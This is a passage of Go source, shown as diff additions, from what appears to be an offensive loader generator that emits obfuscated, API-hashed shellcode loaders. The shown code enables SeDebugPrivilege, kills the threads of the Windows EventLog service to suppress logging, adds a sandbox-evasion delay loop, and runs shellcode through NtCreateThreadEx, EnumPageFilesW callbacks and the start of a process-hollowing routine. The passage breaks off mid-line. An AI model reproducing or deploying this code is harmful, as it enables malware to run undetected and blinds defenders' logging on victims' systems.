+ } else { + elevate_process_token_func = elevate_process_token_func + ` + {{.Vars.kernel32}} := windows.NewLazyDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `) + {{.Vars.advapi32}} := windows.NewLazyDLL(` + ObfuscateStr("advapi32.dll", str_obfs) + `) + + {{.Vars.GetCurrentProcess}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("GetCurrentProcess", str_obfs) + `) + {{.Vars.GetLastError}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("GetLastError", str_obfs) + `) + {{.Vars.OpenProcessToken}} := {{.Vars.advapi32}}.NewProc(` + ObfuscateStr("OpenProcessToken", str_obfs) + `) + {{.Vars.LookupPrivilegeValue}} := {{.Vars.advapi32}}.NewProc(` + ObfuscateStr("LookupPrivilegeValueW", str_obfs) + `) + {{.Vars.AdjustTokenPrivileges}} := {{.Vars.advapi32}}.NewProc(` + ObfuscateStr("AdjustTokenPrivileges", str_obfs) + `) +` + } + + elevate_process_token_func = elevate_process_token_func + ` + {{.Vars.currentProcess}}, _, _ := {{.Vars.GetCurrentProcess}}.Call() + + {{.Vars.result}}, _, {{.Vars.err}} := {{.Vars.OpenProcessToken}}.Call({{.Vars.currentProcess}}, {{.Vars.tokenAdjustPrivileges}}|{{.Vars.tokenQuery}}, uintptr(unsafe.Pointer(&{{.Vars.hToken}}))) + if {{.Vars.result}} != 1 { + return {{.Vars.err}} + } + + var {{.Vars.tkp}} TokenPrivileges + + {{.Vars.result}}, _, {{.Vars.err}} = {{.Vars.LookupPrivilegeValue}}.Call(uintptr(0), uintptr(unsafe.Pointer(windows.StringToUTF16Ptr({{.Vars.SeDebugPrivilege}}))), uintptr(unsafe.Pointer(&({{.Vars.tkp}}.privileges[0].luid)))) + if {{.Vars.result}} != 1 { + return {{.Vars.err}} + } + + const {{.Vars.SePrivilegeEnabled}} uint32 = 0x00000002 + + {{.Vars.tkp}}.privilegeCount = 1 + {{.Vars.tkp}}.privileges[0].attributes = {{.Vars.SePrivilegeEnabled}} + + {{.Vars.result}}, _, {{.Vars.err}} = {{.Vars.AdjustTokenPrivileges}}.Call({{.Vars.hToken}}, 0, uintptr(unsafe.Pointer(&{{.Vars.tkp}})), 0, uintptr(0), 0) + if {{.Vars.result}} != 1 { + return {{.Vars.err}} + } + + {{.Vars.result}}, _, _ = {{.Vars.GetLastError}}.Call() + if {{.Vars.result}} != 0 { + return {{.Vars.err}} + } + + return nil +} +` + + event_log_pid_func := ` +func {{.Vars.get_eventlog_pid_func}}() (uint32, error) { +` + + if (hashing) { + event_log_pid_func = event_log_pid_func + ` + {{.Vars.OpenSCManager}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("OpenSCManagerW", rand_num)) + `, ` + ObfuscateStr("advapi32.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.OpenService}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("OpenServiceW", rand_num)) + `, ` + ObfuscateStr("advapi32.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.QueryServiceStatusEx}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("QueryServiceStatusEx", rand_num)) + `, ` + ObfuscateStr("advapi32.dll", str_obfs) + `, {{.Vars.hashing_func}}) +` + } else { + event_log_pid_func = event_log_pid_func + ` + {{.Vars.advapi32}} := windows.NewLazyDLL(` + ObfuscateStr("advapi32.dll", str_obfs) + `) + + {{.Vars.OpenSCManager}} := {{.Vars.advapi32}}.NewProc(` + ObfuscateStr("OpenSCManagerW", str_obfs) + `) + {{.Vars.OpenService}} := {{.Vars.advapi32}}.NewProc(` + ObfuscateStr("OpenServiceW", str_obfs) + `) + {{.Vars.QueryServiceStatusEx}} := {{.Vars.advapi32}}.NewProc(` + ObfuscateStr("QueryServiceStatusEx", str_obfs) + `) +` + } + + event_log_pid_func = event_log_pid_func + ` + var {{.Vars.ssp}} windows.SERVICE_STATUS_PROCESS + var {{.Vars.dwBytesNeeded}} uint32 + + {{.Vars.scm}}, _, {{.Vars.err}} := {{.Vars.OpenSCManager}}.Call(0, 0, windows.SERVICE_QUERY_STATUS) + if {{.Vars.scm}} == 0 { + return 0, {{.Vars.err}} + } + + {{.Vars.svc}}, _, {{.Vars.err}} := {{.Vars.OpenService}}.Call({{.Vars.scm}}, uintptr(unsafe.Pointer(windows.StringToUTF16Ptr(` + ObfuscateStr("EventLog", str_obfs) + `))), windows.SERVICE_QUERY_STATUS) + if {{.Vars.svc}} == 0 { + return 0, {{.Vars.err}} + } + + {{.Vars.QueryServiceStatusEx}}.Call({{.Vars.svc}}, windows.SC_STATUS_PROCESS_INFO, uintptr(unsafe.Pointer(&{{.Vars.ssp}})), uintptr(unsafe.Sizeof({{.Vars.ssp}})), uintptr(unsafe.Pointer(&{{.Vars.dwBytesNeeded}}))) + + return {{.Vars.ssp}}.ProcessId, nil +} +` + + phantom_func := ` +func {{.Vars.phantom_func}}({{.Vars.pid}} uint32) error { + {{.Vars.err}} := {{.Vars.elevate_process_token_func}}() + if {{.Vars.err}} != nil { + return {{.Vars.err}} + } +` + + if (hashing) { + phantom_func = phantom_func + ` + {{.Vars.NtQueryInformationThread}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtQueryInformationThread, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.I_QueryTagInformation}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("I_QueryTagInformation", rand_num)) + `, ` + ObfuscateStr("advapi32.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.OpenThread}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("OpenThread", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.OpenProcess}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("OpenProcess", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.TerminateThread}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("TerminateThread", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.CloseHandle}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("CloseHandle", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.ReadProcessMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("ReadProcessMemory", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.CreateToolhelp32Snapshot}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("CreateToolhelp32Snapshot", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.Thread32First}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("Thread32First", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.Thread32Next}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("Thread32Next", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}}) +` + } else { + phantom_func = phantom_func + ` + {{.Vars.ntdll}} := windows.NewLazyDLL(` + ObfuscateStr("ntdll.dll", str_obfs) + `) + {{.Vars.NtQueryInformationThread}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtQueryInformationThread, str_obfs) + `) + + {{.Vars.advapi32}} := windows.NewLazyDLL(` + ObfuscateStr("advapi32.dll", str_obfs) + `) + {{.Vars.I_QueryTagInformation}} := {{.Vars.advapi32}}.NewProc(` + ObfuscateStr("I_QueryTagInformation", str_obfs) + `) + + {{.Vars.kernel32}} := windows.NewLazyDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `) + {{.Vars.OpenThread}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("OpenThread", str_obfs) + `) + {{.Vars.OpenProcess}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("OpenProcess", str_obfs) + `) + {{.Vars.TerminateThread}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("TerminateThread", str_obfs) + `) + {{.Vars.CloseHandle}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("CloseHandle", str_obfs) + `) + {{.Vars.ReadProcessMemory}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("ReadProcessMemory", str_obfs) + `) + {{.Vars.CreateToolhelp32Snapshot}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("CreateToolhelp32Snapshot", str_obfs) + `) + {{.Vars.Thread32First}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("Thread32First", str_obfs) + `) + {{.Vars.Thread32Next}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("Thread32Next", str_obfs) + `) +` + } + + phantom_func = phantom_func + ` + var {{.Vars.hThreads}} uintptr + {{.Vars.hThreads}}, _, _ = {{.Vars.CreateToolhelp32Snapshot}}.Call(windows.TH32CS_SNAPTHREAD, 0) + + if {{.Vars.hThreads}} == 0 { + return errors.New(` + ObfuscateStr("An error has occurred calling CreateToolhelp32Snapshot", str_obfs) + `) + } + + {{.Vars.tbi}} := PTHREAD_BASIC_INFORMATION{} + {{.Vars.te32}} := windows.ThreadEntry32{} + {{.Vars.te32}}.Size = uint32(unsafe.Sizeof({{.Vars.te32}})) + + {{.Vars.Thread32First}}.Call({{.Vars.hThreads}}, uintptr(unsafe.Pointer(&{{.Vars.te32}}))) + + for true { + if {{.Vars.te32}}.OwnerProcessID == {{.Vars.pid}} { + {{.Vars.hEvtThread}}, _, _ := {{.Vars.OpenThread}}.Call(windows.THREAD_QUERY_LIMITED_INFORMATION|windows.THREAD_SUSPEND_RESUME|windows.THREAD_TERMINATE, uintptr(0), uintptr({{.Vars.te32}}.ThreadID)) + if {{.Vars.hEvtThread}} == 0 { + return errors.New(` + ObfuscateStr("An error has occurred calling OpenThread", str_obfs) + `) + } + + {{.Vars.NtQueryInformationThread}}.Call(uintptr({{.Vars.hEvtThread}}), 0, uintptr(unsafe.Pointer(&{{.Vars.tbi}})), 0x30, 0) + + {{.Vars.hEvtProcess}}, _, _ := {{.Vars.OpenProcess}}.Call(windows.PROCESS_VM_READ, uintptr(0), uintptr({{.Vars.te32}}.OwnerProcessID)) + if {{.Vars.hEvtProcess}} == 0 { + return errors.New(` + ObfuscateStr("An error has occurred calling OpenProcess", str_obfs) + `) + } + + if {{.Vars.tbi}}.pTebBaseAddress != 0 { + {{.Vars.scTagQuery}} := SC_SERVICE_TAG_QUERY{} + + var {{.Vars.hTag}} byte + var {{.Vars.pN}} uintptr + {{.Vars.ReadProcessMemory}}.Call({{.Vars.hEvtProcess}}, {{.Vars.tbi}}.pTebBaseAddress+0x1720, uintptr(unsafe.Pointer(&{{.Vars.hTag}})), unsafe.Sizeof({{.Vars.pN}}), 0) + + {{.Vars.scTagQuery}}.processId = {{.Vars.te32}}.OwnerProcessID + {{.Vars.scTagQuery}}.serviceTag = uint32({{.Vars.hTag}}) + + {{.Vars.I_QueryTagInformation}}.Call(0, 1, uintptr(unsafe.Pointer(&{{.Vars.scTagQuery}}))) + + if {{.Vars.scTagQuery}}.pBuffer != nil { + {{.Vars.TerminateThread}}.Call(uintptr({{.Vars.hEvtThread}}), 0) + } + + {{.Vars.CloseHandle}}.Call({{.Vars.hEvtThread}}) + {{.Vars.CloseHandle}}.Call({{.Vars.hEvtProcess}}) + } + } + + _, _, {{.Vars.err}} := {{.Vars.Thread32Next}}.Call({{.Vars.hThreads}}, uintptr(unsafe.Pointer(&{{.Vars.te32}}))) + if {{.Vars.err}} != nil { + break + } + } + + {{.Vars.CloseHandle}}.Call({{.Vars.hThreads}}) + + return nil +} +` + + // append previous functions + functions = utils.AppendString(functions, ParseTemplate(elevate_process_token_func, Main)) + functions = utils.AppendString(functions, ParseTemplate(event_log_pid_func, Main)) + functions = utils.AppendString(functions, ParseTemplate(phantom_func, Main)) + } + + // add sleep function to loader + if (sleep_time) { + if (verbose) { + fmt.Println(" > Adding custom sleep function...") + time.Sleep(100 * time.Millisecond) + } + + Main.Vars["sleep_func"] = utils.RandomString(utils.RandomInt(10,12)) + Main.Vars["s"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["i"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["j"] = utils.RandomString(utils.RandomInt(9,10)) + + // define code using templates + sleep_func := ` +func {{.Vars.sleep_func}}() { + {{.Vars.s}} := 500000 + ` + strconv.Itoa(utils.RandomInt(1000, 10000)) + ` + + for {{.Vars.i}} := 0; {{.Vars.i}} <= {{.Vars.s}}; {{.Vars.i}}++ { + for {{.Vars.j}} := 2; {{.Vars.j}} <= {{.Vars.i}}/2; {{.Vars.j}}++ { + if {{.Vars.i}}%{{.Vars.j}} == 0 { + break + } + } + } +} +` + // append previous functiom + functions = utils.AppendString(functions, ParseTemplate(sleep_func, Main)) + } + + if (verbose) { + fmt.Println() + } + time.Sleep(100 * time.Millisecond) + + // define shellcode execution function + var execute_shellcode_func string + + fmt.Println("[*] Using " + exec_technique + " technique to execute shellcode") + time.Sleep(200 * time.Millisecond) + + // first shellcode execution technique + if exec_technique == "ntcreatethread" || exec_technique == "ntcreatethreadex" { + imports = utils.AppendSlice(imports, []string{"unsafe", "golang.org/x/sys/windows"}) + dlls_to_unhook = utils.AppendString(dlls_to_unhook, "C:\\Windows\\System32\\ntdll.dll") + + Main.Vars["execute_shellcode_func"] = utils.RandomString(utils.RandomInt(10,12)) + Main.Vars["ntdll"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["NtAllocateVirtualMemory"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["NtProtectVirtualMemory"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["NtWriteVirtualMemory"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["NtCreateThreadEx"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["addr"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["regionsize"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["oldProtect"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["r1"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["r2"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["hhosthread"] = utils.RandomString(utils.RandomInt(9,10)) + + execute_shellcode_func = ` +func {{.Vars.execute_shellcode_func}}({{.Vars.shellcode}} []byte) error { +` + + if (hashing) { + execute_shellcode_func = execute_shellcode_func + ` + {{.Vars.NtAllocateVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtAllocateVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.NtProtectVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtProtectVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.NtWriteVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtWriteVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.NtCreateThreadEx}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtCreateThreadEx, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}}) +` + } else { + execute_shellcode_func = execute_shellcode_func + ` + {{.Vars.ntdll}} := windows.NewLazyDLL(` + ObfuscateStr("ntdll.dll", str_obfs) + `) + + {{.Vars.NtAllocateVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtAllocateVirtualMemory, str_obfs) + `) + {{.Vars.NtProtectVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtProtectVirtualMemory, str_obfs) + `) + {{.Vars.NtWriteVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtWriteVirtualMemory, str_obfs) + `) + {{.Vars.NtCreateThreadEx}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtCreateThreadEx, str_obfs) + `) +` + } + + execute_shellcode_func = execute_shellcode_func + ` + var {{.Vars.addr}} uintptr + {{.Vars.regionsize}} := uintptr(len({{.Vars.shellcode}})) + + {{.Vars.r1}}, _, {{.Vars.err}} := {{.Vars.NtAllocateVirtualMemory}}.Call(uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&{{.Vars.addr}})), 0, uintptr(unsafe.Pointer(&{{.Vars.regionsize}})), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE) + if {{.Vars.r1}} != 0 { + log.Fatal({{.Vars.err}}) + } + + {{.Vars.NtWriteVirtualMemory}}.Call(uintptr(0xffffffffffffffff), {{.Vars.addr}}, uintptr(unsafe.Pointer(&{{.Vars.shellcode}}[0])), {{.Vars.regionsize}}, 0) + + var {{.Vars.oldProtect}} uintptr + {{.Vars.r2}}, _, {{.Vars.err}} := {{.Vars.NtProtectVirtualMemory}}.Call(uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&{{.Vars.addr}})), uintptr(unsafe.Pointer(&{{.Vars.regionsize}})), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&{{.Vars.oldProtect}}))) + if {{.Vars.r2}} != 0 { + log.Fatal({{.Vars.err}}) + } + + var {{.Vars.hhosthread}} uintptr + {{.Vars.NtCreateThreadEx}}.Call(uintptr(unsafe.Pointer(&{{.Vars.hhosthread}})), 0x1FFFFF, 0, uintptr(0xffffffffffffffff), {{.Vars.addr}}, 0, uintptr(0), 0, 0, 0, 0) + + windows.WaitForSingleObject(windows.Handle(0xffffffffffffffff), windows.INFINITE) + + return nil +} +` + + } else if exec_technique == "suspendedprocess" { // next shellcode execution technique + imports = utils.AppendSlice(imports, []string{"unsafe", "golang.org/x/sys/windows"}) + dlls_to_unhook = utils.AppendString(dlls_to_unhook, "C:\\Windows\\System32\\ntdll.dll") + + Main.Vars["execute_shellcode_func"] = utils.RandomString(utils.RandomInt(10,12)) + Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["NtAllocateVirtualMemory"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["NtWriteVirtualMemory"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["NtProtectVirtualMemory"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["EnumPageFilesW"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["ntdll"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["psapi"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["lpBaseAddress"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["regionsize"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["oldProtect"] = utils.RandomString(utils.RandomInt(9,10)) + + execute_shellcode_func = ` +func {{.Vars.execute_shellcode_func}}({{.Vars.shellcode}} []byte) error { +` + + if (hashing) { + execute_shellcode_func = execute_shellcode_func + ` + {{.Vars.NtAllocateVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtAllocateVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.NtWriteVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtWriteVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.NtProtectVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtProtectVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.EnumPageFilesW}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("EnumPageFilesW", rand_num)) + `, ` + ObfuscateStr("psapi.dll", str_obfs) + `, {{.Vars.hashing_func}}) +` + } else { + execute_shellcode_func = execute_shellcode_func + ` + {{.Vars.ntdll}} := windows.NewLazyDLL(` + ObfuscateStr("ntdll.dll", str_obfs) + `) + {{.Vars.psapi}} := windows.NewLazyDLL(` + ObfuscateStr("psapi.dll", str_obfs) + `) + + {{.Vars.NtAllocateVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtAllocateVirtualMemory, str_obfs) + `) + {{.Vars.NtWriteVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtWriteVirtualMemory, str_obfs) + `) + {{.Vars.NtProtectVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtProtectVirtualMemory, str_obfs) + `) + {{.Vars.EnumPageFilesW}} := {{.Vars.psapi}}.NewProc(` + ObfuscateStr("EnumPageFilesW", str_obfs) + `) +` + } + + execute_shellcode_func = execute_shellcode_func + ` + var {{.Vars.lpBaseAddress}} uintptr + {{.Vars.regionsize}} := len({{.Vars.shellcode}}) + + {{.Vars.oldProtect}} := windows.PAGE_READWRITE + + {{.Vars.NtAllocateVirtualMemory}}.Call(uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&{{.Vars.lpBaseAddress}})), 0, uintptr(unsafe.Pointer(&{{.Vars.regionsize}})), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE) + + {{.Vars.NtWriteVirtualMemory}}.Call(uintptr(0xffffffffffffffff), {{.Vars.lpBaseAddress}}, uintptr(unsafe.Pointer(&{{.Vars.shellcode}}[0])), uintptr({{.Vars.regionsize}}), 0) + + {{.Vars.NtProtectVirtualMemory}}.Call(uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&{{.Vars.lpBaseAddress}})), uintptr(unsafe.Pointer(&{{.Vars.regionsize}})), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&{{.Vars.oldProtect}}))) + + {{.Vars.EnumPageFilesW}}.Call({{.Vars.lpBaseAddress}}, 0) + + return nil +} +` + + } else if exec_technique == "processhollowing" { // next shellcode execution technique + + process_mitigation_binary_signature_policy := ` +type PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY struct { + Flags uint32 +} +` + + proc_thread_attribute_entry := ` +type PROC_THREAD_ATTRIBUTE_ENTRY struct { + attribute *uint32 + cbSize uintptr + lpValue uintptr +} +` + + proc_thread_attribute_list := ` +type PROC_THREAD_ATTRIBUTE_LIST struct { + dwFlags uint32 + size uint64 + count uint64 + reserved uint64 + unknown *uint64 + entries []*PROC_THREAD_ATTRIBUTE_ENTRY +} +` + + process_information := ` +type ProcessInformation struct { + Process uintptr + Thread uintptr + ProcessId uint32 + ThreadId uint32 +} +` + + startup_info_ex := ` +type StartupInfoEx struct { + windows.StartupInfo + AttributeList *PROC_THREAD_ATTRIBUTE_LIST +} +` + + process_basic_information := ` +type PROCESS_BASIC_INFORMATION struct { + Reserved1 uintptr + PebBaseAddress uintptr + Reserved2 uintptr + Reserved3 uintptr + UniquePid uintptr + MoreReserved uintptr +} +` + + exports = utils.AppendSlice(exports, []string{process_mitigation_binary_signature_policy, proc_thread_attribute_entry, proc_thread_attribute_list, process_information, startup_info_ex, process_basic_information}) + imports = utils.AppendSlice(imports, []string{"unsafe", "golang.org/x/sys/windows", "encoding/binary"}) + dlls_to_unhook = utils.AppendString(dlls_to_unhook, "C:\\Windows\\System32\\ntdll.dll") + + Main.Vars["execute_shellcode_func"] = utils.RandomString(utils.RandomInt(10,12)) + Main.Vars["proc"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["blockdlls"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["kernel32"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["ntdll"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["GetProcessHeap"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["HeapAlloc"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["HeapFree"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["InitializeProcThreadAttributeList"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["UpdateProcThreadAttribute"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["CreateProcessA"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["ReadProcessMemory"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["WriteProcessMemory"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["ResumeThread"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["ZwQueryInformationProcess"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["pbi"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["procThreadAttributeSize"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["procHeap"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["attributeList"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["si"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["mitigate"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["nonms"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["r"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["cmd"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["pi"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["returnLength"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["pointerSize"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["imageBaseAddress"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["addressBuffer"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["read"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["imageBaseValue"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["lfaNewPos"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["lfanew"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["entrypointOffset"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["entrypointOffsetPos"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["entrypointRVA"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["entrypointAddress"] = utils.RandomString(utils.RandomInt(9,10)) + + execute_shellcode_func = ` +func {{.Vars.execute_shellcode_func}}({{.Vars.shellcode}} []byte, {{.Vars.proc}} string, {{.Vars.blockdlls}} bool) error { +` + + if (hashing) { + execute_shellcode_func = execute_shellcode_func + ` + {{.Vars.GetProcessHeap}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("GetProcessHeap", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.HeapAlloc}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("HeapAlloc", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.HeapFree}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("HeapFree", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.InitializeProcThreadAttributeList}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("InitializeProcThreadAttributeList", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.UpdateProcThreadAttribute}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("UpdateProcThreadAttribute", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.CreateProcessA}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("CreateProcessA", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.ReadProcessMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("ReadProcessMemory", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.WriteProcessMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("WriteProcessMemory", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.ResumeThread}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("ResumeThread", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.ZwQueryInformationProcess}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("ZwQueryInformationProcess", rand_num)) + `, 